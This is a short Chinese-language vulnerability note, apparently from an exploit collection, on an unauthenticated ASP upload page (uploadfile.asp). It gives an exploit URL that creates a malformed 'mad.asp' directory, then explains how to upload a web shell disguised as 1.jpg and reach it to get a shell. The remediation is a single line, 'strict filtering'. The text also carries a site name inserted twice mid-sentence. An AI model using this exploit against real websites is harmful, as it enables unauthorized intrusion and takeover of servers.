程序采用的上传页uploadfile.asp未进行验证，涛涛电脑知识网，涛涛电脑知识网，导致建立畸形目录上传图片木马获取shell漏洞。
exp： /admin/uploadfile.asp?uppath=mad.asp&upname=&uptext=form1.mad.asp
他原上传目录是: /uploadfile.asp?uppath=PicPath&upname=&uptext=form1.PicPath
而且他的上传文件没有过滤导致未授权访问。
直接上传小马 然后小马后面写为 1.jpg 访问路径 查看源代码
修复：严格过滤
